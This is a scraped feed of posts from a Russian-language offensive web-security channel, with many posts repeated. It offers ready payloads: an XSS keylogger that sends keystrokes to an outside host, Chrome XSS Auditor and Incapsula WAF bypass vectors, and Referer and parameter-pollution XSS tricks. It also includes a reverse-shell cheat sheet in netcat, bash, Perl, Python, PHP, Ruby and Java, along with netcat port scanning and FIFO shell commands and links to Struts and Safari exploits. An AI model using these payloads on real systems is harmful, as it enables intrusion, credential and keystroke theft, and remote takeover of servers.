Предательство Safari. Чтение локальных файлов с дальнейшей отправкой на сервер помощью html документа.
https://xakep.ru/2017/07/06/safari-localfile-read/
https://github.com/Bo0oM/Safiler
https://xakep.ru/2017/07/06/safari-localfile-read/
https://github.com/Bo0oM/Safiler
❤🔥1
Если ты пользователь twitter:
https://twitter.com/account/personalization/download_your_data.pdf
(На самом деле отображается корректно, если у профиля английский язык)
https://twitter.com/account/personalization/download_your_data.pdf
(На самом деле отображается корректно, если у профиля английский язык)
❤🔥1
Забавная находка, в которой школьник получил доступ к одному из ресурсов внутренней инфраструктуры Google.
https://sites.google.com/site/testsitehacking/10k-host-header
https://sites.google.com/site/testsitehacking/10k-host-header
🔥1
Chrome закручивает гайки.
Раньше можно было передавать такую ссылку:
Также с client-side атаками, улучшают парсер, запрещают символ переноса строки у атрибутов тегов, если это ссылка:
То ли еще будет :)
Раньше можно было передавать такую ссылку:
https://username:[email protected]
, тем самым, передав значения логина и пароля для basic auth. Отныне и вовеки использовать их для атак вида <img src="//login:[email protected]">
- нельзя.[Deprecation] Subresource requests whose URLs contain embedded credentials (e.g. `https://user:pass@host/`) are blocked. See https://www.chromestatus.com/feature/5669008342777856 for more details.
Также с client-side атаками, улучшают парсер, запрещают символ переноса строки у атрибутов тегов, если это ссылка:
[Deprecation] Resource requests whose URLs contain raw newline characters are deprecated, and may be blocked in M60, around August 2017. Please remove newlines from places like element attribute values in order to continue loading those resources. See https://www.chromestatus.com/features/5735596811091968 for more details.
То ли еще будет :)
1
Не все йогурты одинаково полезны!
Например, настройка в CloudFlare по сжатию страницы ломает Chrome XSS Auditor, что позволяет с легкостью его обойти. Достаточно указать вектор, в котором содержимое атрибутов не будет обрамлено кавычками, Auto Minify CloudFlare все сделает за тебя, а Chrome не увидит, что вектор атаки передался в URL, так как содержимое на странице будет различаться от того, что было передано в запросе.
вжух =>
https://twitter.com/i_bo0om/status/895896778914004993
Например, настройка в CloudFlare по сжатию страницы ломает Chrome XSS Auditor, что позволяет с легкостью его обойти. Достаточно указать вектор, в котором содержимое атрибутов не будет обрамлено кавычками, Auto Minify CloudFlare все сделает за тебя, а Chrome не увидит, что вектор атаки передался в URL, так как содержимое на странице будет различаться от того, что было передано в запросе.
<script/src=//html5sec.org/test.js></script>
вжух =>
<script src="//html5sec.org/test.js"></script>
https://twitter.com/i_bo0om/status/895896778914004993
Twitter
Bo0oM
CloudFlare helps to bypass the Chrome XSS Auditor 🤨 https://t.co/3BNb0ROhsE
1
Минималистичный кейлогер, который удаляется со страницы (но продолжает работать):
Тем ребятам, которые не знают что делать, когда XSS в логине пользователя или в подобных местах :)
<img src=x onerror='document.onkeypress=function(e){fetch("//bo0om.ru?k="+String.fromCharCode(e.which))},remove()'>
Тем ребятам, которые не знают что делать, когда XSS в логине пользователя или в подобных местах :)
Старый добрый трюк, залогинен ли пользователь на ресурсе или нет - https://bo0om.ru/zn2014/sd/
На примере VK. Если пользователь имеет активную сессию на ресурсе, произойдет перенаправление на существующий файл favicon.ico, поэтому у тега img сработает событие "onload". Если сессии нет - пользователя перенаправит на страницу аутентификации, а так как img не сможет загрузить изображение - выполнится событие "onerror".
https://jsfiddle.net/gq2dtk5b/
А вот целый сборник подобных рецептов, https://github.com/RobinLinus/socialmedia-leak
На примере VK. Если пользователь имеет активную сессию на ресурсе, произойдет перенаправление на существующий файл favicon.ico, поэтому у тега img сработает событие "onload". Если сессии нет - пользователя перенаправит на страницу аутентификации, а так как img не сможет загрузить изображение - выполнится событие "onerror".
<img src="https://login.vk.com/?role=fast&to=ZmF2aWNvbi5pY28-" onload="alert('Yeah!')" onerror="alert('Nope!')" style="display:none;">
https://jsfiddle.net/gq2dtk5b/
А вот целый сборник подобных рецептов, https://github.com/RobinLinus/socialmedia-leak
jsfiddle.net
Edit fiddle - JSFiddle
Test your JavaScript, CSS, HTML or CoffeeScript online with JSFiddle code editor.
Совсем недавно чувак с именем fabrizio обошел Chrome XSS Auditor с помощью... Нульбайта. Точнее семи нульбайтов:
◼️.ws/example.php?xss=%3Chello%3E%00%00%00%00%00%00%00%3Cscript%3Ealert(%27pew%27)%3C/script%3E
Не менее забавная находка - незакрытый тег </script, с условием, что после него будет перенос строки:
◼️.ws/example.php?xss=%3Cscript%3Ealert(%27pew%27)%3C/script
¯\_(ツ)_/¯
◼️.ws/example.php?xss=%3Chello%3E%00%00%00%00%00%00%00%3Cscript%3Ealert(%27pew%27)%3C/script%3E
Не менее забавная находка - незакрытый тег </script, с условием, что после него будет перенос строки:
◼️.ws/example.php?xss=%3Cscript%3Ealert(%27pew%27)%3C/script
¯\_(ツ)_/¯
Несколько векторов обхода для Incapsula WAF
И раз:
И два:
И раз:
<iframe/onload='this["src"]="javas	cript:al"+"ert``"';>
И два:
<img/src=q onerror='new Function`al\ert\`1\``'>
Кавычка
Несколько векторов обхода для Incapsula WAF И раз: <iframe/onload='this["src"]="javas	cript:al"+"ert``"';> И два: <img/src=q onerror='new Function`al\ert\`1\``'>
— Джонни, мать твою, как это работает?
Я отвечу: я не Джонни 😩
В первом случае мы редиректим текущий url фрейма (this.src) на javascript:alert(). Про 	 я писал выше.
Не пускает точку? Например не проходит document.cookie?
Добавляем блоки document['cookie'] и точка нам больше не нужна (
— Джонни, но как вызвать функцию без скобок?
Да не Джонни я!1! Вместо скобок можно использовать бэктики (ну вот этот вот знак - `). Этой клавишей можно не только вызывать консольку в игре, запомни её!
— Джонни, а что за al\ert(). Ты что нюхал?
Alert во втором случае будет строкой, а \e - это экранированная e, лол. А что будет если экранировать буквы? Ничего (
Я отвечу: я не Джонни 😩
В первом случае мы редиректим текущий url фрейма (this.src) на javascript:alert(). Про 	 я писал выше.
Не пускает точку? Например не проходит document.cookie?
Добавляем блоки document['cookie'] и точка нам больше не нужна (
https://jsfiddle.net/raouvm1q/
). Не пускает alert - разбиваем на две строки, "al"+"ert".— Джонни, но как вызвать функцию без скобок?
Да не Джонни я!1! Вместо скобок можно использовать бэктики (ну вот этот вот знак - `). Этой клавишей можно не только вызывать консольку в игре, запомни её!
— Джонни, а что за al\ert(). Ты что нюхал?
Alert во втором случае будет строкой, а \e - это экранированная e, лол. А что будет если экранировать буквы? Ничего (
https://jsfiddle.net/p8965gu7/
). Только не пытайся экранировать зарезервированные символы, например писать \r
(возврат каретки) и \t
(знак табуляции) в том же alert'е, так работать не будет.Старая-добрая коллекция бэкшеллов, когда сервер сам открывает соединение на подконтрольный ресурс, благодаря чему на с помощью выполнения произвольных команд операционной системы (RCE) можно получить привычную консольку для управления сервером.
Для того, чтобы слушать порт, на сервере
И остается только перенаправить поток /bin/sh на наш сервер, вот различные варианты развития событий :)
Netcat
(или тоже самое с ncat вместо nc)
Bash
Perl
Python
PHP
Ruby
Java
Еще забавный вариант с пробросом X'ов:
На машине
Для того, чтобы слушать порт, на сервере
10.0.0.1
выполняем:nc -lvp 1337
И остается только перенаправить поток /bin/sh на наш сервер, вот различные варианты развития событий :)
Netcat
nc -e /bin/sh 10.0.0.1 1337
nc -c /bin/sh 10.0.0.1 1337
/bin/sh | nc 10.0.0.1 1337
(или тоже самое с ncat вместо nc)
Bash
bash -i >& /dev/tcp/10.0.0.1/1337 0>&1
Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
php -r '$sock=fsockopen("10.0.0.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/sh","-c","exec 5<>/dev/tcp/10.0.0.1/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Еще забавный вариант с пробросом X'ов:
xterm -display 10.0.0.1:1
На машине
10.0.0.1
- Xnest :1
, вжух, и у нас удаленный рабочий стол.Вжух и Apache Struts снова с уязвимостью выполнения произвольного кода!
https://github.com/luc10/struts-rce-cve-2017-9805
https://github.com/wvu-r7/metasploit-framework/blob/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/struts2_rest_xstream.rb
https://github.com/luc10/struts-rce-cve-2017-9805
https://github.com/wvu-r7/metasploit-framework/blob/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/struts2_rest_xstream.rb
GitHub
GitHub - luc10/struts-rce-cve-2017-9805: CVE 2017-9805
CVE 2017-9805. Contribute to luc10/struts-rce-cve-2017-9805 development by creating an account on GitHub.
XSS атаки с помощью Referer'а
Часто бывает, что веб-приложение вставляет на страницу сайт с которого перешел пользователь. И делает это без фильтрации данных. Основная проблема - современные браузеры преобразуют спецсимволы в их urlencode представления:
Поэтому если сайт тупо вставляет содержимое заголовка
Ну разве что Internet Explorer, его параметры будут без URLENCODE. Перенаправив с такой страницы на уязвимую - выполнится наш js.
С адекватными браузерами не так гладко, однако Google Chrome не энкодит одинарные кавычки в пути (не в параметре). Поэтому если инъекция в одинарных кавычках атрибута или переменной в js, то эксплуатация не составит труда.
Для этого достаточно создать html страничку с подобным содержимым:
#xss #referer
Часто бывает, что веб-приложение вставляет на страницу сайт с которого перешел пользователь. И делает это без фильтрации данных. Основная проблема - современные браузеры преобразуют спецсимволы в их urlencode представления:
'
в %27
"
в %22
<
и >
в %3C
и %3E
соответственно. Поэтому если сайт тупо вставляет содержимое заголовка
Referer
не декодируя ссылку, то с этим все сложно.Ну разве что Internet Explorer, его параметры будут без URLENCODE. Перенаправив с такой страницы на уязвимую - выполнится наш js.
С адекватными браузерами не так гладко, однако Google Chrome не энкодит одинарные кавычки в пути (не в параметре). Поэтому если инъекция в одинарных кавычках атрибута или переменной в js, то эксплуатация не составит труда.
Для этого достаточно создать html страничку с подобным содержимым:
<script>
window.history.replaceState('', '', "/hello'-alert()-'/");
location.href="//vulnerabledomain/"
</script>
#xss #referer
Кавычка
XSS атаки с помощью Referer'а Часто бывает, что веб-приложение вставляет на страницу сайт с которого перешел пользователь. И делает это без фильтрации данных. Основная проблема - современные браузеры преобразуют спецсимволы в их urlencode представления:…
Более того, Internet Explorer - имеет забавную особенность, если перенаправить пользователя с помощью заголовка
Может кому-то пригодится в bugbounty :)
#xss #bugbounty
Location: https://mysite/"><script>alert()</script>/
, то путь также не будет преобразовываться в urlencode.Может кому-то пригодится в bugbounty :)
#xss #bugbounty
Кавычка
Старая-добрая коллекция бэкшеллов, когда сервер сам открывает соединение на подконтрольный ресурс, благодаря чему на с помощью выполнения произвольных команд операционной системы (RCE) можно получить привычную консольку для управления сервером. Для того,…
Дополнение от Heartless'а.
Для MacOS timeout это -G, для Linux -w
Но они разные, для MacOS тоже есть -w, который работает после подключения.
Проверка наличия открытого TCP-порта 12345
Сканирование TCP-портов с помощью netcat:
Отправка UDP:
Прием данных на UDP-порту и вывод принятых данных:
После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать
Если по каким-то причинам не работают шеллы через nc -e, то стоит проверить следующий вариант:
А также "ncat -e"
Перенаправление портов
И еще немного: https://habrahabr.ru/company/pentestit/blog/336596/
Для MacOS timeout это -G, для Linux -w
Но они разные, для MacOS тоже есть -w, который работает после подключения.
Проверка наличия открытого TCP-порта 12345
MacOS $ nc -v -G2 192.168.1.100 12345
Linux $ nc -v -w2 192.168.1.100 12345
Сканирование TCP-портов с помощью netcat:
MacOS $ nc -G2 -vz 192.168.1.100 20-24
Linux $ nc -w2 -vz 192.168.1.100 20-24
Отправка UDP:
$ echo -n "foo" | nc -u -w1 192.168.1.100 161
Прием данных на UDP-порту и вывод принятых данных:
$ nc -v -u localhost 7777
После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать
nc -lkv 0 7777
Если по каким-то причинам не работают шеллы через nc -e, то стоит проверить следующий вариант:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0 1234 > /tmp/f
А также "ncat -e"
Перенаправление портов
MacOS $ nc 127.0.0.1 22 <&1 | nc -lvk 3333 >&0
Linux $ mkfifo /tmp/bp; nc -lvk 12345 0</tmp/bp | nc 127.0.0.1 22 1>/tmp/bp
И еще немного: https://habrahabr.ru/company/pentestit/blog/336596/
Habr
Полезные трюки при работе с netcat
В данной статье я рассмотрю популярную сетевую утилиту netcat и полезные трюки при работе с ней. Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и...
Помнишь что такое Http Parameter Pollution?
Ну когда передаешь несколько параметров с одним именем, например, сайты на IIS забавно реагируют на такие данные. Они соединяют все переданные значения через запятую. К примеру, сайт пишет содержимое параметра
На странице покажет
А если передадим несколько параметров с одним именем
На страницу попадет
Так о чем это я
В
Еще нет такого плагина для burp suite? 🤔
#XSS #IIS #ASP
Ну когда передаешь несколько параметров с одним именем, например, сайты на IIS забавно реагируют на такие данные. Они соединяют все переданные значения через запятую. К примеру, сайт пишет содержимое параметра
id
на страницу:site.com/page.asp?id=AA
На странице покажет
<input name="id" value="AA">
А если передадим несколько параметров с одним именем
site.com/page.asp?id=AA&id=BB&id=CC
На страницу попадет
<input name="id" value="AA, BB, CC">
Так о чем это я
В
ASP/ASP.NET
часто бывает, что фильтрация пользовательских данных происходит только в первом элементе, поэтому важно попробовать дублировать параметры запроса и передавать атакующие пэйлоады уже туда.Еще нет такого плагина для burp suite? 🤔
#XSS #IIS #ASP
Вот и новая уязвимость с именем подъехала - BlueBorne. Получи контроль над миллиардами (!) устройств по всему миру B-)
https://boingboing.net/2017/09/12/turn-bluetooth-off.html
https://www.armis.com/blueborne/
https://go.armis.com/hubfs/BlueBorne%20Technical%20White%20Paper.pdf
https://boingboing.net/2017/09/12/turn-bluetooth-off.html
https://www.armis.com/blueborne/
https://go.armis.com/hubfs/BlueBorne%20Technical%20White%20Paper.pdf
Boing Boing
Blueborne is a newly revealed Bluetooth attack that allows wireless penetration of billions of devices
Security research firm Armis has disclosed eight new Bluetooth vulnerabilities it collectively calls “Blueborne” that take less than 10 seconds to penetrate and take over device with Bl…
Используем (костыли) виртуалку (назовем ее proxyhost) для доступа в интернет с удаленной машины за натом.
На тачке, чей IP нужно получить, нужно предварительно поднять ssh-сервер и создать юзера guest, далее вводим:
Тем самым мы пробрасываем порт 22 (ssh) на удаленную тачку, можно также указать ключ -N чтоб не держать терминал открытым.
На клиенте (кому интернет), пишем следующее заклинание:
Нужно будет ввести пароль от guest (ну или не вводить, если используются ssh-ключи).
В результате у нас будет поднят socket на порту 8888, его можно ввести в браузер (или использовать в любом другом софте).
На тачке, чей IP нужно получить, нужно предварительно поднять ssh-сервер и создать юзера guest, далее вводим:
ssh proxyhost -R 2222:localhost:22
Тем самым мы пробрасываем порт 22 (ssh) на удаленную тачку, можно также указать ключ -N чтоб не держать терминал открытым.
На клиенте (кому интернет), пишем следующее заклинание:
ssh -t -L 8888:localhost:8888 proxyhost ssh guest@localhost -p 2222 -D 8888
Нужно будет ввести пароль от guest (ну или не вводить, если используются ssh-ключи).
В результате у нас будет поднят socket на порту 8888, его можно ввести в браузер (или использовать в любом другом софте).